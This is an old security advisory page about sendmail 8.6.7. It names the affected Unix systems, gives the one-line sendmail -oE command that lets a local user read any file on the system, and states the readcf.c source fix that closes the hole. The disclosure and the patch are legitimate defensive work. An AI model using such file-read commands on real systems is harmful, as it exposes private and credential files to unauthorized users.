[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

sendmail(8)
Systems Affected: Systems running sendmail 8.6.7. See sendmail -d. DG/UX are not at risk for the -oE problem. HP/UX does not support the -oE option. AIX is not vulnerable either to -oE. SCO does not support the -oE option.
Problem: It's possible to read any file on the system with 8.6.7 from the command line. Simply: 

	/usr/lib/sendmail -oEfilename_to_read bounce
	From: you_username



Solution:
In file src/readcf.c, line 1078

	if (!safe && strchr("bCdeEijLmoprsvw7", opt) == NULL)


Remove the letter 'E' - this makes the option 'E' "unsafe".



	

		
			



    

        Aleph One / aleph1@underground.org
    

    
        Copyright © 1996 Computer Underground Society. All rights reserved.